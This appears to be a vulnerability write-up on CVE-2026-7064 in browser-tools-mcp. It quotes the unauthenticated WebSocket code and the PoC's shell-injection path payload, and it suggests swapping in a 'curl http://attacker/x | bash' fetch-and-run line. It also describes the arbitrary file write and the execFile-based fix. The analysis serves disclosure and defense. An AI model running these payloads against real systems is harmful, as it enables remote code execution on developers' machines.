The Chrome Extension Is The Only Caller By Convention. The WebSocket Is The Only Caller By Reachability.
The repository's README treats the WebSocket on /extension-ws as a private channel: a connection-tube between the Chrome extension installed in the developer's browser and the local server. The protocol's documented message types, take-screenshot, screenshot-data, page-navigated, are framed as the extension's vocabulary. No authentication step is described, because the architecture does not expect external callers.
The bind host on line 166 admits any caller reachable on the network:
const currentSettings: BrowserConnectorSettings = {
// ...
serverHost: process.env.SERVER_HOST || "0.0.0.0", // Default to all interfaces
// ...
};
The upgrade handler accepts any connection whose URL is /extension-ws:
this.server.on("upgrade", (request, socket, head) => {
if (request.url === "/extension-ws") {
this.wss.handleUpgrade(request, socket, head, (ws) => {
this.wss.emit("connection", ws, request);
});
}
});
this.wss.on("connection", (ws) => {
console.log("Chrome extension connected via WebSocket");
this.activeConnection = ws;
// ws.on("message", ...) is registered immediately
});
There is no Origin check on the upgrade. There is no Sec-WebSocket-Protocol gate. There is no shared secret. The console.log line states the expected caller, "Chrome extension connected via WebSocket," and the code accepts whatever connected. The string in the log line is documentation. The TCP socket is enforcement.
Anyone able to reach 0.0.0.0:3025/extension-ws becomes "the Chrome extension." This is the trust-inversion the rest of the post is downstream of: the helper that brokers the coding agent's privileges on the developer's machine is the same helper any external WebSocket caller drives, without authentication, by default.
The Path Field Is A WebSocket Caller Input
The exploitable flow has two callers. They can be the same actor. wing3e's reproducer in issue #232 runs them from the same loopback using wscat and curl.
The HTTP caller hits /capture-screenshot with an empty body:
curl -i -X POST http://target:3025/capture-screenshot \
-H 'Content-Type: application/json' -d '{}'
Inside the handler, the server creates a screenshot-callback promise, registers it, sends a take-screenshot message to the active WebSocket connection, and awaits a screenshot-data reply. The reply field shape:
const screenshotPromise = new Promise<{
data: string;
path?: string;
autoPaste?: boolean;
}>(...);
The WebSocket caller fills those fields. The message-handling branch that resolves the callback does not validate them:
if (data.type === "screenshot-data" && data.data) {
// ...
callback.resolve({
data: data.data,
path: data.path,
autoPaste: data.autoPaste,
});
}
data.path is a string the WebSocket caller chose. It flows into captureScreenshot:
const {
data: base64Data,
path: customPath,
autoPaste,
} = await screenshotPromise;
// Always prioritize the path from the Chrome extension
let targetPath = customPath;
The comment "Always prioritize the path from the Chrome extension" is the design rule: WebSocket caller wins. Whatever directory the server was configured to write screenshots into, the WebSocket message's path overrides it. The server then joins targetPath with a generated filename:
const timestamp = new Date().toISOString().replace(/[:.]/g, "-");
const filename = `screenshot-${timestamp}.png`;
const fullPath = path.join(targetPath, filename);
fullPath is now a string the WebSocket caller controls almost end-to-end. The server contributes the filename suffix and nothing else.
Two Typed Quote Wraps, Stacked, In The Same Expression
On macOS, if autoPaste === true, the handler builds an AppleScript that copies the saved screenshot to the clipboard and pastes it into Cursor. The script is a JavaScript template literal that interpolates fullPath once, and the entire template is then interpolated into a shell command:
const appleScript = `
-- Set path to the screenshot
set imagePath to "${fullPath}"
-- Copy the image to clipboard
try
set the clipboard to (read (POSIX file imagePath) as «class PNGf»)
on error errMsg
log "Error copying image to clipboard: " & errMsg
return "Failed to copy image to clipboard: " & errMsg
end try
-- ... 120 more lines of AppleScript
`;
// Execute the AppleScript
exec(`osascript -e '${appleScript}'`, (error, stdout, stderr) => { ... });
Two interpolations are typed into the source by hand. Neither one is an escape primitive. This is quote-wrap-is-not-escape, stacked twice in the same expression.
The inner wrap is AppleScript's "...". AppleScript double-quoted string literals have no built-in primitive to escape a double quote at construction time. Any " character in fullPath terminates the AppleScript string.
The outer wrap is the shell's '...'. POSIX shell single-quoted strings cannot contain a single quote at all; the language defines no escape sequence inside '...'. Any ' character in appleScript terminates the shell string.
Both wraps are characters typed into the source code. The author encoded the destination's quoting convention as a literal byte in the surrounding template literal, and used the byte as if it were a function.
wing3e's PoC attacks the outer wrap:
{
"type": "screenshot-data",
"data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=",
"path": "/tmp/mcp-poc';touch /tmp/agentdesk_cmdinj_poc;#",
"autoPaste": true
}
After path.join and the filename append, fullPath becomes:
/tmp/mcp-poc';touch /tmp/agentdesk_cmdinj_poc;#/screenshot-<timestamp>.png
After interpolation into appleScript, the script string contains a literal apostrophe. After interpolation into the shell command, exec() runs:
osascript -e '
-- Set path to the screenshot
set imagePath to "/tmp/mcp-poc';touch /tmp/agentdesk_cmdinj_poc;#/screenshot-<timestamp>.png"
...
'
The shell parses left to right. The apostrophe inside mcp-poc' closes the -e argument's single quote. The shell then sees ;touch /tmp/agentdesk_cmdinj_poc;#/screenshot-<timestamp>.png", unquoted. ; ends osascript's command. touch runs as a fresh command. The next ; ends the touch. # opens a comment to end of line. The marker file /tmp/agentdesk_cmdinj_poc exists on disk.
wing3e's payload is touch. Replacing touch /tmp/agentdesk_cmdinj_poc with curl http://attacker/x | bash weaponizes the chain in twenty bytes. The WebSocket caller does not need to be local: line 166 binds the listener to 0.0.0.0. The capture-screenshot trigger does not need authentication. Neither does the WebSocket message.
Node ships execFile in its standard library. execFile("osascript", ["-e", appleScript]) runs osascript with appleScript in an argv slot rather than as part of a shell string. No shell. No single-quote wrap to break. The bug site reaches for a typed apostrophe instead.
execFile closes the outer wrap. The inner wrap, AppleScript's "${fullPath}", remains a bug under execFile because fullPath still flows into a "..." literal that has no escape. The corresponding fix is to pass fullPath to the script through an out-of-band channel: a temp file the script reads, an argv slot accessed via system.arguments, an environment variable. AppleScript supports all of those. The bug site uses none of them.
The Command Injection Is The macOS Branch. The File Write Is Every Branch.
The exec() call only fires on macOS, only when autoPaste === true. The file write fires unconditionally. Before the AppleScript template is built, the handler calls fs.mkdirSync(targetPath, { recursive: true }), then fs.writeFileSync(fullPath, cleanBase64, "base64"):
fs.mkdirSync(targetPath, { recursive: true });
// ...
fs.writeFileSync(fullPath, cleanBase64, "base64");
targetPath is the WebSocket caller's path field. Anywhere the server process has write permission, the WebSocket caller can create a directory tree and drop a base64-decoded file of their choice. The filename is fixed in shape, screenshot-<timestamp>.png, but the directory is theirs. On Linux that is a path-traversal file write under the user's UID. On macOS with autoPaste off, the same primitive lands. The osascript chain is the macOS-only escalation; the file-write primitive is the cross-platform substrate.
A second endpoint at /screenshot exposes the file-write primitive without the WebSocket dance. It takes path from an HTTP body directly:
this.app.post("/screenshot", (req, res) => {
const { data, path: outputPath } = req.body;
const targetPath = outputPath || getDefaultDownloadsFolder();
fs.mkdirSync(targetPath, { recursive: true });
// ...
const fullPath = path.join(targetPath, filename);
fs.writeFileSync(fullPath, base64Data, "base64");
});
Same path.join against an untrusted string. Same mkdirSync. Same writeFileSync. No WebSocket connection required, no take-screenshot ceremony. CVE-2026-7064 names the osascript sink because that is where wing3e's PoC lands. The same source file holds three other call sites that interpolate a caller-controlled string into a filesystem operation: mkdirSync at line 1030, writeFileSync at line 1054, and the /screenshot HTTP route at lines 786 and 796. The pattern is not the osascript expression. The pattern is "the caller named the path." It is in this file four times.
The Comment Predates The Disclosure. The File Does Too.
wing3e filed issue #232 on April 7, 2026, with a complete reproducer and a pointer to the AppleScript exec call by line number. NVD published CVE-2026-7064 on April 26. AgentDeskAI's main branch last received a commit on March 18, three weeks before the issue.
Two months later, on June 7, the repository's last commit is still that March 18 README update. browser-connector.ts has not been touched. serverHost still defaults to 0.0.0.0. exec() still wraps the WebSocket caller's path in shell single quotes. Issue #232 remains open with no maintainer reply.
The NVD record carries the silence as part of the description: "The project was informed of the problem early through an issue report but has not responded yet." NVD does not usually narrate vendor inattention; the database records bugs and lets vendors speak for themselves through advisories. The sentence is in the record because the silence is part of the record.
The MCP architecture pitches browser-tools-mcp as a bridge: a coding agent's eyes on a developer's browser via a localhost helper. The bridge is a Node process listening on 0.0.0.0:3025 with no auth, accepting a path field from any WebSocket caller and writing it into exec(\osascript -e '${...}'`)`. The bridge from the agent to the developer's laptop is a network-reachable command-injection primitive, and AgentDeskAI has shipped no commit acknowledging that.
PoC: AgentDeskAI/browser-tools-mcp issue #232
The comment says "Default to all interfaces." The handler hands the WebSocket caller's path to osascript. The repository's last commit predates the disclosure by three weeks.